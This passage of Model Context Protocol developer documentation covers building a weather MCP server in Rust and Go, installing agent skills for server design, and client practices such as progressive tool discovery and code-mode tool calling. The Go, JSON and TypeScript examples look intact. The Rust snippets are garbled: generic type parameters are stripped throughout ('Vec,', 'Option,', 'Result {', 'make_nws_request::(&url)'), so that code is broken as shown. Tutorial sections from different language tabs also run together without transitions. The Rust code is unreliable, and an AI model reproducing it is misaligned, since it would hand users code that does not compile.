```powershell Windows theme={null}
# Create a new Rust project
cargo new weather
cd weather
```
Update your `Cargo.toml` to add the required dependencies:
```toml Cargo.toml theme={null}
[package]
name = "weather"
version = "0.1.0"
edition = "2024"
[dependencies]
rmcp = { version = "0.3", features = ["server", "macros", "transport-io"] }
tokio = { version = "1.46", features = ["full"] }
reqwest = { version = "0.12", features = ["json"] }
serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0"
anyhow = "1.0"
tracing = "0.1"
tracing-subscriber = { version = "0.3", features = ["env-filter", "std", "fmt"] }
```
Now let's dive into building your server.
## Building your server
### Importing packages and constants
Open `src/main.rs` and add these imports and constants at the top:
```rust theme={null}
use anyhow::Result;
use rmcp::{
ServerHandler, ServiceExt,
handler::server::{router::tool::ToolRouter, tool::Parameters},
model::*,
schemars, tool, tool_handler, tool_router,
};
use serde::Deserialize;
use serde::de::DeserializeOwned;
const NWS_API_BASE: &str = "https://api.weather.gov";
const USER_AGENT: &str = "weather-app/1.0";
```
The `rmcp` crate provides the Model Context Protocol SDK for Rust, with features for server implementation, procedural macros, and stdio transport.
### Data structures
Next, let's define the data structures for deserializing responses from the National Weather Service API:
```rust theme={null}
#[derive(Debug, Deserialize)]
struct AlertsResponse {
features: Vec,
}
#[derive(Debug, Deserialize)]
struct AlertFeature {
properties: AlertProperties,
}
#[derive(Debug, Deserialize)]
struct AlertProperties {
event: Option,
#[serde(rename = "areaDesc")]
area_desc: Option,
severity: Option,
description: Option,
instruction: Option,
}
#[derive(Debug, Deserialize)]
struct PointsResponse {
properties: PointsProperties,
}
#[derive(Debug, Deserialize)]
struct PointsProperties {
forecast: String,
}
#[derive(Debug, Deserialize)]
struct ForecastResponse {
properties: ForecastProperties,
}
#[derive(Debug, Deserialize)]
struct ForecastProperties {
periods: Vec,
}
#[derive(Debug, Deserialize)]
struct ForecastPeriod {
name: String,
temperature: i32,
#[serde(rename = "temperatureUnit")]
temperature_unit: String,
#[serde(rename = "windSpeed")]
wind_speed: String,
#[serde(rename = "windDirection")]
wind_direction: String,
#[serde(rename = "detailedForecast")]
detailed_forecast: String,
}
```
Now define the request types that MCP clients will send:
```rust theme={null}
#[derive(serde::Deserialize, schemars::JsonSchema)]
pub struct MCPForecastRequest {
latitude: f32,
longitude: f32,
}
#[derive(serde::Deserialize, schemars::JsonSchema)]
pub struct MCPAlertRequest {
state: String,
}
```
### Helper functions
Add helper functions for making API requests and formatting responses:
```rust theme={null}
async fn make_nws_request(url: &str) -> Result {
let client = reqwest::Client::new();
let rsp = client
.get(url)
.header(reqwest::header::USER_AGENT, USER_AGENT)
.header(reqwest::header::ACCEPT, "application/geo+json")
.send()
.await?
.error_for_status()?;
Ok(rsp.json::().await?)
}
fn format_alert(feature: &AlertFeature) -> String {
let props = &feature.properties;
format!(
"Event: {}\nArea: {}\nSeverity: {}\nDescription: {}\nInstructions: {}",
props.event.as_deref().unwrap_or("Unknown"),
props.area_desc.as_deref().unwrap_or("Unknown"),
props.severity.as_deref().unwrap_or("Unknown"),
props
.description
.as_deref()
.unwrap_or("No description available"),
props
.instruction
.as_deref()
.unwrap_or("No specific instructions provided")
)
}
fn format_period(period: &ForecastPeriod) -> String {
format!(
"{}:\nTemperature: {}°{}\nWind: {} {}\nForecast: {}",
period.name,
period.temperature,
period.temperature_unit,
period.wind_speed,
period.wind_direction,
period.detailed_forecast
)
}
```
### Implementing the Weather server and tools
Now let's implement the main Weather server struct with the tool handlers:
```rust theme={null}
pub struct Weather {
tool_router: ToolRouter,
}
#[tool_router]
impl Weather {
fn new() -> Self {
Self {
tool_router: Self::tool_router(),
}
}
#[tool(description = "Get weather alerts for a US state.")]
async fn get_alerts(
&self,
Parameters(MCPAlertRequest { state }): Parameters,
) -> String {
let url = format!(
"{}/alerts/active/area/{}",
NWS_API_BASE,
state.to_uppercase()
);
match make_nws_request::(&url).await {
Ok(data) => {
if data.features.is_empty() {
"No active alerts for this state.".to_string()
} else {
data.features
.iter()
.map(format_alert)
.collect::>()
.join("\n---\n")
}
}
Err(_) => "Unable to fetch alerts or no alerts found.".to_string(),
}
}
#[tool(description = "Get weather forecast for a location.")]
async fn get_forecast(
&self,
Parameters(MCPForecastRequest {
latitude,
longitude,
}): Parameters,
) -> String {
let points_url = format!("{NWS_API_BASE}/points/{latitude},{longitude}");
let Ok(points_data) = make_nws_request::(&points_url).await else {
return "Unable to fetch forecast data for this location.".to_string();
};
let forecast_url = points_data.properties.forecast;
let Ok(forecast_data) = make_nws_request::(&forecast_url).await else {
return "Unable to fetch forecast data for this location.".to_string();
};
let periods = &forecast_data.properties.periods;
let forecast_summary: String = periods
.iter()
.take(5) // Next 5 periods only
.map(format_period)
.collect::>()
.join("\n---\n");
forecast_summary
}
}
```
The `#[tool_router]` macro automatically generates the routing logic, and the `#[tool]` attribute marks methods as MCP tools.
### Implementing the ServerHandler
Implement the `ServerHandler` trait to define server capabilities:
```rust theme={null}
#[tool_handler]
impl ServerHandler for Weather {
fn get_info(&self) -> ServerInfo {
ServerInfo {
capabilities: ServerCapabilities::builder().enable_tools().build(),
..Default::default()
}
}
}
```
### Running the server
Finally, implement the main function to run the server with stdio transport:
```rust theme={null}
#[tokio::main]
async fn main() -> Result<()> {
let transport = (tokio::io::stdin(), tokio::io::stdout());
let service = Weather::new().serve(transport).await?;
service.waiting().await?;
Ok(())
}
```
Build your server with:
```bash theme={null}
cargo build --release
```
The compiled binary will be in `target/release/weather`.
Let's now test your server from an existing MCP host, Claude for Desktop.
## Testing your server with Claude for Desktop
Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2026-07-28/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
For example, if you have [VS Code](https://code.visualstudio.com/) installed:
```bash macOS/Linux theme={null}
code ~/Library/Application\ Support/Claude/claude_desktop_config.json
```
```powershell Windows theme={null}
code $env:AppData\Claude\claude_desktop_config.json
```
You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
In this case, we'll add our single weather server like so:
```json macOS/Linux theme={null}
{
"mcpServers": {
"weather": {
"command": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/target/release/weather"
}
}
}
```
```json Windows theme={null}
{
"mcpServers": {
"weather": {
"command": "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather\\target\\release\\weather.exe"
}
}
}
```
Make sure you pass in the absolute path to your compiled binary. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path, and add the `.exe` extension.
This tells Claude for Desktop:
1. There's an MCP server named "weather"
2. Launch it by running the compiled binary at the specified path
Save the file, and restart **Claude for Desktop**.
Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-go)
### Prerequisite knowledge
This quickstart assumes you have familiarity with:
* Go
* LLMs like Claude
### Logging in MCP Servers
When implementing MCP servers, be careful about how you handle logging:
**For STDIO-based servers:** Never use `fmt.Println()` or `fmt.Printf()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.
**For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
### Best Practices
* Use `log.Println()` (which defaults to stderr) or a logging library that writes to stderr or files.
* Use `fmt.Fprintf(os.Stderr, ...)` to write to stderr explicitly.
### Quick Examples
```go theme={null}
// ❌ Bad (STDIO)
fmt.Println("Processing request")
// ✅ Good (STDIO)
log.Println("Processing request") // defaults to stderr
// ✅ Good (STDIO)
fmt.Fprintln(os.Stderr, "Processing request")
```
### System requirements
* Go 1.24 or higher installed.
### Set up your environment
First, let's install Go if you haven't already. You can download and install Go from [go.dev](https://go.dev/dl/).
Verify your Go installation:
```bash theme={null}
go version
```
Now, let's create and set up our project:
```bash macOS/Linux theme={null}
# Create a new directory for our project
mkdir weather
cd weather
# Initialize Go module
go mod init weather
# Install dependencies
go get github.com/modelcontextprotocol/go-sdk/mcp
# Create our server file
touch main.go
```
```powershell Windows theme={null}
# Create a new directory for our project
md weather
cd weather
# Initialize Go module
go mod init weather
# Install dependencies
go get github.com/modelcontextprotocol/go-sdk/mcp
# Create our server file
new-item main.go
```
Now let's dive into building your server.
## Building your server
### Importing packages and constants
Add these to the top of your `main.go`:
```go theme={null}
package main
import (
"cmp"
"context"
"encoding/json"
"fmt"
"io"
"log"
"net/http"
"strings"
"github.com/modelcontextprotocol/go-sdk/mcp"
)
const (
NWSAPIBase = "https://api.weather.gov"
UserAgent = "weather-app/1.0"
)
```
### Data structures
Next, let's define the data structures used by our tools:
```go theme={null}
type PointsResponse struct {
Properties struct {
Forecast string `json:"forecast"`
} `json:"properties"`
}
type ForecastResponse struct {
Properties struct {
Periods []ForecastPeriod `json:"periods"`
} `json:"properties"`
}
type ForecastPeriod struct {
Name string `json:"name"`
Temperature int `json:"temperature"`
TemperatureUnit string `json:"temperatureUnit"`
WindSpeed string `json:"windSpeed"`
WindDirection string `json:"windDirection"`
DetailedForecast string `json:"detailedForecast"`
}
type AlertsResponse struct {
Features []AlertFeature `json:"features"`
}
type AlertFeature struct {
Properties AlertProperties `json:"properties"`
}
type AlertProperties struct {
Event string `json:"event"`
AreaDesc string `json:"areaDesc"`
Severity string `json:"severity"`
Description string `json:"description"`
Instruction string `json:"instruction"`
}
type ForecastInput struct {
Latitude float64 `json:"latitude" jsonschema:"Latitude of the location"`
Longitude float64 `json:"longitude" jsonschema:"Longitude of the location"`
}
type AlertsInput struct {
State string `json:"state" jsonschema:"Two-letter US state code (e.g. CA, NY)"`
}
```
### Helper functions
Next, let's add our helper functions for querying and formatting the data from the National Weather Service API:
```go theme={null}
func makeNWSRequest[T any](ctx context.Context, url string) (*T, error) {
req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)
if err != nil {
return nil, fmt.Errorf("failed to create request: %w", err)
}
req.Header.Set("User-Agent", UserAgent)
req.Header.Set("Accept", "application/geo+json")
client := http.DefaultClient
resp, err := client.Do(req)
if err != nil {
return nil, fmt.Errorf("failed to make request to %s: %w", url, err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
body, _ := io.ReadAll(resp.Body)
return nil, fmt.Errorf("HTTP error %d: %s", resp.StatusCode, string(body))
}
var result T
if err := json.NewDecoder(resp.Body).Decode(&result); err != nil {
return nil, fmt.Errorf("failed to decode response: %w", err)
}
return &result, nil
}
func formatAlert(alert AlertFeature) string {
props := alert.Properties
event := cmp.Or(props.Event, "Unknown")
areaDesc := cmp.Or(props.AreaDesc, "Unknown")
severity := cmp.Or(props.Severity, "Unknown")
description := cmp.Or(props.Description, "No description available")
instruction := cmp.Or(props.Instruction, "No specific instructions provided")
return fmt.Sprintf(`
Event: %s
Area: %s
Severity: %s
Description: %s
Instructions: %s
`, event, areaDesc, severity, description, instruction)
}
func formatPeriod(period ForecastPeriod) string {
return fmt.Sprintf(`
%s:
Temperature: %d°%s
Wind: %s %s
Forecast: %s
`, period.Name, period.Temperature, period.TemperatureUnit,
period.WindSpeed, period.WindDirection, period.DetailedForecast)
}
```
### Implementing tool execution
The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:
```go theme={null}
func getForecast(ctx context.Context, req *mcp.CallToolRequest, input ForecastInput) (
*mcp.CallToolResult, any, error,
) {
// Get points data
pointsURL := fmt.Sprintf("%s/points/%f,%f", NWSAPIBase, input.Latitude, input.Longitude)
pointsData, err := makeNWSRequest[PointsResponse](ctx, pointsURL)
if err != nil {
return &mcp.CallToolResult{
Content: []mcp.Content{
&mcp.TextContent{Text: "Unable to fetch forecast data for this location."},
},
}, nil, nil
}
// Get forecast data
forecastURL := pointsData.Properties.Forecast
if forecastURL == "" {
return &mcp.CallToolResult{
Content: []mcp.Content{
&mcp.TextContent{Text: "Unable to fetch forecast URL."},
},
}, nil, nil
}
forecastData, err := makeNWSRequest[ForecastResponse](ctx, forecastURL)
if err != nil {
return &mcp.CallToolResult{
Content: []mcp.Content{
&mcp.TextContent{Text: "Unable to fetch detailed forecast."},
},
}, nil, nil
}
// Format the periods
periods := forecastData.Properties.Periods
if len(periods) == 0 {
return &mcp.CallToolResult{
Content: []mcp.Content{
&mcp.TextContent{Text: "No forecast periods available."},
},
}, nil, nil
}
// Show next 5 periods
var forecasts []string
for i := range min(5, len(periods)) {
forecasts = append(forecasts, formatPeriod(periods[i]))
}
result := strings.Join(forecasts, "\n---\n")
return &mcp.CallToolResult{
Content: []mcp.Content{
&mcp.TextContent{Text: result},
},
}, nil, nil
}
func getAlerts(ctx context.Context, req *mcp.CallToolRequest, input AlertsInput) (
*mcp.CallToolResult, any, error,
) {
// Build alerts URL
stateCode := strings.ToUpper(input.State)
alertsURL := fmt.Sprintf("%s/alerts/active/area/%s", NWSAPIBase, stateCode)
alertsData, err := makeNWSRequest[AlertsResponse](ctx, alertsURL)
if err != nil {
return &mcp.CallToolResult{
Content: []mcp.Content{
&mcp.TextContent{Text: "Unable to fetch alerts or no alerts found."},
},
}, nil, nil
}
// Check if there are any alerts
if len(alertsData.Features) == 0 {
return &mcp.CallToolResult{
Content: []mcp.Content{
&mcp.TextContent{Text: "No active alerts for this state."},
},
}, nil, nil
}
// Format alerts
var alerts []string
for _, feature := range alertsData.Features {
alerts = append(alerts, formatAlert(feature))
}
result := strings.Join(alerts, "\n---\n")
return &mcp.CallToolResult{
Content: []mcp.Content{
&mcp.TextContent{Text: result},
},
}, nil, nil
}
```
### Running the server
Finally, implement the main function to run the server:
```go theme={null}
func main() {
// Create MCP server
server := mcp.NewServer(&mcp.Implementation{
Name: "weather",
Version: "1.0.0",
}, nil)
// Add get_forecast tool
mcp.AddTool(server, &mcp.Tool{
Name: "get_forecast",
Description: "Get weather forecast for a location",
}, getForecast)
// Add get_alerts tool
mcp.AddTool(server, &mcp.Tool{
Name: "get_alerts",
Description: "Get weather alerts for a US state",
}, getAlerts)
// Run server on stdio transport
if err := server.Run(context.Background(), &mcp.StdioTransport{}); err != nil {
log.Fatal(err)
}
}
```
Build your server with:
```bash theme={null}
go build -o weather .
```
The compiled binary will be in `./weather`.
Let's now test your server from an existing MCP host, Claude for Desktop.
## Testing your server with Claude for Desktop
Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2026-07-28/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
For example, if you have [VS Code](https://code.visualstudio.com/) installed:
```bash macOS/Linux theme={null}
code ~/Library/Application\ Support/Claude/claude_desktop_config.json
```
```powershell Windows theme={null}
code $env:AppData\Claude\claude_desktop_config.json
```
You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
In this case, we'll add our single weather server like so:
```json macOS/Linux theme={null}
{
"mcpServers": {
"weather": {
"command": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/weather"
}
}
}
```
```json Windows theme={null}
{
"mcpServers": {
"weather": {
"command": "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather\\weather.exe"
}
}
}
```
Make sure you pass in the absolute path to your compiled binary. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path, and add the `.exe` extension.
This tells Claude for Desktop:
1. There's an MCP server named "weather"
2. Launch it by running the compiled binary at the specified path
Save the file, and restart **Claude for Desktop**.
### Test with commands
Let's make sure Claude for Desktop is picking up the two tools we've exposed in our `weather` server. You can do this by looking for the "Add files, connectors, and more /" icon:
After clicking on the plus icon, hover over the "Connectors" menu. You should see the `weather` servers listed:
If your server isn't being picked up by Claude for Desktop, proceed to the [Troubleshooting](#troubleshooting) section for debugging tips.
If the server has shown up in the "Connectors" menu, you can now test your server by running the following commands in Claude for Desktop:
* What's the weather in Sacramento?
* What are the active weather alerts in Texas?
Since this is the US National Weather service, the queries will only work for US locations.
## What's happening under the hood
When you ask a question:
1. The client sends your question to Claude
2. Claude analyzes the available tools and decides which one(s) to use
3. The client executes the chosen tool(s) through the MCP server
4. The results are sent back to Claude
5. Claude formulates a natural language response
6. The response is displayed to you!
## Troubleshooting
**Getting logs from Claude for Desktop**
Claude.app logging related to MCP is written to log files in `~/Library/Logs/Claude`:
* `mcp.log` will contain general logging about MCP connections and connection failures.
* Files named `mcp-server-SERVERNAME.log` will contain the stderr output from the named server. Stdio servers may use stderr for all their logging, so these files are not limited to errors.
You can run the following command to list recent logs and follow along with any new ones:
```bash theme={null}
# Check Claude's logs for errors
tail -n 20 -f ~/Library/Logs/Claude/mcp*.log
```
**Server not showing up in Claude**
1. Check your `claude_desktop_config.json` file syntax
2. Make sure the path to your project is absolute and not relative
3. Restart Claude for Desktop completely
To properly restart Claude for Desktop, you must fully quit the application:
* **Windows**: Right-click the Claude icon in the system tray (which may be hidden in the "hidden icons" menu) and select "Quit" or "Exit".
* **macOS**: Use Cmd+Q or select "Quit Claude" from the menu bar.
Simply closing the window does not fully quit the application, and your MCP server configuration changes will not take effect.
**Tool calls failing silently**
If Claude attempts to use the tools but they fail:
1. Check Claude's logs for errors
2. Verify your server builds and runs without errors
3. Try restarting Claude for Desktop
**None of this is working. What do I do?**
Please refer to our [debugging guide](/docs/2026-07-28/tools/debugging) for better debugging tools and more detailed guidance.
**Error: Failed to retrieve grid point data**
This usually means either:
1. The coordinates are outside the US
2. The NWS API is having issues
3. You're being rate limited
Fix:
* Verify you're using US coordinates
* Add a small delay between requests
* Check the NWS API status page
**Error: No active alerts for \[STATE]**
This isn't an error - it just means there are no current weather alerts for that state. Try a different state or check during severe weather.
For more advanced troubleshooting, check out our guide on [Debugging MCP](/docs/2026-07-28/tools/debugging)
## Next steps
Learn how to build your own MCP client that can connect to your server
Check out our gallery of official MCP servers and implementations
Learn how to effectively debug MCP servers and integrations
Use agent skills to guide AI coding assistants through server design
# Build with Agent Skills
Source: https://modelcontextprotocol.io/docs/2026-07-28/develop/build-with-agent-skills
Use agent skills to guide AI coding assistants through MCP server design and implementation
[Agent skills](https://agentskills.io/home) are portable instruction sets that
give AI coding assistants domain knowledge for a task. For MCP development,
they encode the design decisions (deployment model, tool patterns, auth) so
your agent can interrogate your use case and scaffold a server that fits.
## Available skills
A reference set of MCP development skills is available as the
[`mcp-server-dev` plugin](https://github.com/anthropics/claude-plugins-official/tree/main/plugins/mcp-server-dev).
It provides three composing skills:
| Skill | Purpose |
| ------------------ | ----------------------------------------------------------------------------------------------------------------------- |
| `build-mcp-server` | Entry point. Interrogates the use case, picks a deployment model and tool-design pattern, routes to specialized skills. |
| `build-mcp-app` | Adds interactive UI widgets (forms, pickers, dashboards) rendered inline in chat. |
| `build-mcpb` | Packages a local stdio server with its runtime so users can install it without Node or Python. |
Each skill ships a `SKILL.md` file plus a `references/` folder of supporting
material (auth flows, tool-design patterns, widget templates, manifest schemas)
that the agent reads on demand. The files follow the open format and work with
any agent that implements the standard. For example, to install them in Claude
Code:
```bash theme={null}
/plugin marketplace add anthropics/claude-plugins-official
/plugin install mcp-server-dev
```
For other agents, check your skills or extensions catalog, or clone the
[skill directories](https://github.com/anthropics/claude-plugins-official/tree/main/plugins/mcp-server-dev/skills)
(`SKILL.md` plus `references/`) into your agent's skills location.
## Start a build
With the skills installed, ask your agent to help you build an MCP server. The
entry skill triggers on natural-language requests, or you can invoke it
directly using your agent's skill-invocation syntax.
The skill runs a short discovery phase before writing any code. Expect
questions about:
* **What it connects to** — a cloud API, a local process, the filesystem, hardware
* **Who will use it** — just you, your team, or anyone who installs it
* **Action surface size** — a handful of operations versus wrapping a large API
* **User interaction needs** — plain text results, structured input via
[elicitation](/specification/2026-07-28/client/elicitation), or rich UI widgets
* **Upstream auth** — API keys, OAuth 2.0, or none
If your opening message already covers these, the agent skips ahead to the
recommendation.
## Deployment paths
Based on discovery, the skill recommends one of four paths and scaffolds
accordingly:
**Remote [Streamable HTTP](/specification/2026-07-28/basic/transports/streamable-http)**
is the default for anything wrapping a cloud API. Zero install friction, one
deployment serves all users, and OAuth flows work properly because the server
can handle redirects and token storage. The reference skill includes scaffolds
for Cloudflare Workers and portable Express/FastMCP setups.
**[MCP apps](/extensions/apps/overview)** extend a server with interactive
widgets rendered in chat, such as searchable pickers, charts, and live
dashboards. The skill hands off to `build-mcp-app` when
[elicitation's](/specification/2026-07-28/client/elicitation) flat-form constraints
don't fit.
**[MCP Bundles (MCPB)](https://github.com/modelcontextprotocol/mcpb)** package a
local server together with its runtime as a single `.mcpb` archive, so users
can install it without setting up Node or Python. Use this path when the server
must touch the user's machine: reading local files, driving desktop apps, or
talking to localhost services. The skill hands off to `build-mcpb`.
**Local [stdio](/specification/2026-07-28/basic/transports/stdio)** remains available
for prototyping, with a noted upgrade path to MCPB when you're ready to
distribute.
## Next steps
Once your agent scaffolds the server, iterate on tool descriptions and error
handling, then test and ship:
Test your server's tools, resources, and prompts interactively
Wire your server into an MCP client via local or remote configuration
Make your server discoverable in the MCP Registry
# Client Best Practices
Source: https://modelcontextprotocol.io/docs/2026-07-28/develop/clients/client-best-practices
Patterns for scaling MCP host applications across many servers and tools.
As MCP host applications, such as agents, connect to more MCP servers and accumulate access to hundreds or thousands of tools, naive approaches to tool management break down. Loading every tool definition into the model's context window upfront wastes tokens, increases latency, and degrades model performance. Passing large intermediate results through the model between sequential tool calls compounds the problem.
Two patterns address these challenges: **progressive discovery**, which controls *when* tool definitions enter context, and **programmatic tool calling**, which controls *how* tools are invoked.
## Progressive Tool Discovery
Naive MCP host implementations pass the tool definitions of every connected server directly to the model at the start of each conversation. For a handful of tools, this is perfectly reasonable. But when a host has access to dozens of servers exposing hundreds of tools, those definitions alone can consume the majority of the context window before the model has even read the user's message.
Progressive discovery avoids this:
* The host fetches tool definitions via `tools/list` as normal, but defers injecting them into the model's context.
* The host provides a lightweight `search_tools` meta-tool to the model.
* The host loads full definitions into context only as needed.
### When to Use Progressive Discovery
Progressive discovery is best used when tool definitions take large parts of the context window. For a small
set of tools with tool definitions taking up a small part of the context window, loading all tools is fine.
Once the tool definitions take up a significant part of the available context window, clients should switch to progressive discovery. We recommend that clients implement thresholds to determine when to switch:
* Implement a threshold as a percentage of the context window. For example, 1%-5%.
* Load tool definitions. Once the threshold is reached, switch to progressive discovery.
### Choosing a Discovery Strategy
Once the model invokes the `search_tools` tool, we need to choose a search strategy:
* **Keyword-based**: Keyword matching (BM25, regex). Simple and effective, particularly for descriptive tool names and descriptions.
* **Embedding-based**: Vector-similarity retrieval over tool descriptions. Handles synonyms and semantic matching better.
* **Subagent-based**: A secondary model, often a small and fast model such as Claude Haiku or Gemini Flash, selects tools for the task. This usually works very well but can be more costly than embedding-based or keyword-based solutions.
* **Hybrid**: Combine approaches. For example, by scoring across keyword and embedding rankings, or choosing
different strategies depending on use-case or query.
Some model providers already offer built-in tool search. For example, [OpenAI](https://developers.openai.com/api/docs/guides/tools-tool-search) and [Anthropic](https://platform.claude.com/docs/en/agents-and-tools/tool-use/tool-search-tool) support this natively; check your provider's documentation for an equivalent. When available, you may prefer the platform's tool search over a custom implementation. Build your own when the provider doesn't offer one or when you need specialized retrieval logic (e.g., domain-specific ranking or access-control filtering).
The three-layer pattern below illustrates a custom search-based approach in detail, but the layered principle (catalog, inspect, execute) applies regardless of retrieval mechanism.
### Using Progressive Discovery
One common implementation for progressive discovery uses a search-based three-layer approach:
**Layer 1: Catalog.** The host exposes a small set of meta-tools for searching available capabilities. A `search_tools` tool accepts a natural-language query and returns matching tool names with brief descriptions.
```typescript theme={null}
// The model calls a lightweight search tool
search_tools({ query: "update salesforce record" })
// Returns concise matches: names and one-line descriptions only
→ [
{ name: "salesforce_updateRecord", description: "Update fields on a Salesforce object" },
{ name: "salesforce_upsertRecord", description: "Insert or update based on external ID" }
]
```
**Layer 2: Inspect.** Once the model identifies a candidate, it fetches the full definition (input schema, output schema, documentation) for that tool only.
```typescript theme={null}
// The model inspects only the tool it needs
get_tool_details({ name: "salesforce_updateRecord" });
```
This returns the complete schema for a single tool:
```json theme={null}
{
"name": "salesforce_updateRecord",
"description": "Updates a record in Salesforce",
"inputSchema": {
"type": "object",
"properties": {
"objectType": {
"type": "string",
"description": "Salesforce object type"
},
"recordId": { "type": "string", "description": "Record ID to update" },
"data": { "type": "object", "description": "Fields to update" }
},
"required": ["objectType", "recordId", "data"]
}
}
```
**Layer 3: Execute.** The model calls the tool with full knowledge of its interface, having loaded only the definitions it needed.
This pattern reduces token usage dramatically and can improve tool selection accuracy: the model focuses on a few relevant tools rather than scanning hundreds of irrelevant ones. Other discovery strategies (embeddings, subagents, etc.) follow the same layered principle but substitute different retrieval mechanisms in the catalog layer.
### Dynamic Server Management
Progressive discovery extends beyond individual tools to entire servers. Rather than connecting to every configured server at startup, a host can:
1. Maintain a registry of available servers and their high-level descriptions.
2. Connect to a server only when the model determines it needs that server's capabilities.
3. Disconnect servers that are no longer relevant to the current task, freeing context.
```mermaid theme={null}
sequenceDiagram
participant Model
participant Host
participant Registry
participant Server
Model->>Host: search_available_servers("CRM")
Host->>Registry: Query available servers
Registry-->>Host: Salesforce server (not connected)
Host-->>Model: Salesforce server available
Model->>Host: enable_server("salesforce")
Host->>Server: server/discover
Server-->>Host: Supported versions + capabilities
Host->>Server: tools/list
Server-->>Host: Tool definitions
Host-->>Model: Salesforce server connected
Note over Model: Task complete
Model->>Host: disable_server("salesforce")
Host-->>Model: Server disconnected, context freed
```
This works especially well for general-purpose agents, where the user's intent isn't known upfront. The agent starts with a minimal set of always-on servers and connects others as needed. Combined with [agent skills](/docs/2026-07-28/develop/build-with-agent-skills), a skill file can declare which MCP servers it needs, and the host connects them only when that skill is invoked.
### Implementation Guidelines
When implementing progressive discovery:
| Guideline | Rationale |
| -------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Offer multiple detail levels** | Let the model choose between name-only, name-and-description, or full-schema responses. |
| **Cache tool definitions** | Once fetched from a server, memoize the definition host-side so re-injecting it later doesn't need another `tools/list` round trip. This is separate from what's currently in the model's context. |
| **Refresh on `list_changed`** | Re-index the search catalog when a server sends `notifications/tools/list_changed`. |
| **Group tools by server** | Present tools organized by their source server so the model can reason about related capabilities. |
### Caching
Each list result (such as `tools/list`), as well as each `server/discover` and
`resources/read` result, carries `ttlMs` and `cacheScope` hints. Follow them as defined in the
specification's [caching utility](/specification/2026-07-28/server/utilities/caching). In particular,
treat a cached list as stale once a `list_changed` notification arrives, even before its TTL
expires.
### Interaction with Prompt Caching
Most providers cache the prompt prefix, including the `tools` array. Adding or removing tool
definitions mid-conversation invalidates that cache, and the resulting miss can cost more tokens
than the definitions you removed. To preserve caching:
* Append newly discovered definitions after the cache breakpoint rather than re-sorting the
`tools` array, or route every call through a single stable `call_tool({name, args})` meta-tool
so the array never changes.
* Treat server disconnection as a conversation-boundary operation rather than a per-turn one.
* Consult your provider's caching documentation alongside the tool-search links above.
## Programmatic Tool Calling / Code Mode
With direct tool calling, every tool invocation is a round trip: the model generates a tool call, the client executes it, and the full result flows back into the model's context. When a task requires chaining multiple tools (read a document, transform it, write it somewhere else), each intermediate result passes through the model, consuming tokens and adding latency even when it has nothing to do with them.
Programmatic tool calling (sometimes called "code mode") provides a way for clients to **compose tool calls** effectively. Instead of calling tools directly, the model writes code that calls tools. The code executes in a sandboxed environment, and only the final result returns to the model.
Programmatic tool calling is powerful and allows for more efficient use of MCP tools and resources, but requires
clients to implement a sandbox environment.
### How It Works
The host converts MCP tool schemas into a typed API available inside a sandbox. When the model needs tools, it writes a script and executes it.
**Step 1: Generate a programmatic API from MCP schemas.** The host reads each server's tool definitions and produces typed functions based on each tool's arguments and `outputSchema`:
```typescript theme={null}
// Auto-generated from the Logging MCP server's tool schema
interface LogEntry {
timestamp: string;
message: string;
level: string;
}
function logging_getLogs(input: {
level: "error" | "warn" | "info";
since: number;
}): Promise<{ entries: LogEntry[] }> {
return mcp.callTool<{ entries: LogEntry[] }>("logging_getLogs", input);
}
// Auto-generated from the Ticketing MCP server's tool schema
function ticketing_createIssue(input: {
title: string;
body?: string;
priority: "low" | "medium" | "high";
}): Promise<{ issueId: string }> {
return mcp.callTool<{ issueId: string }>("ticketing_createIssue", input);
}
```
MCP Servers can provide an optional [`outputSchema`](/specification/2026-07-28/server/tools#output-schema) for each tool. When an output schema is present, the host can produce precise return types (like `LogEntry` above).
When an output schema is absent, prefer the simple path:
* **Use a generic type and move on.** Accept `any` or `string` and handle the unstructured output downstream. The real fix is for server authors to provide `outputSchema`.
* **Extract a typed result using a fast model**, for single-shot calls outside loops. Expose a host-brokered `extract(value, ExpectedType)` helper through the same stub-interception path as MCP tool calls so the sandbox itself never opens a network connection. The helper routes to a small model (for example, Claude Haiku or Gemini Flash) to coerce the value into `ExpectedType`. This adds per-call latency and can hallucinate or drop fields, so validate the result against `ExpectedType` before use.
**Step 2: The model writes code against these APIs.** Rather than making separate tool calls with full results flowing through context between them, the model writes a single script. Consider a task like "find all error logs from the past hour and file a ticket for each unique error." With direct tool calling, thousands of log entries would flow through the model's context. With code, the model filters in the sandbox:
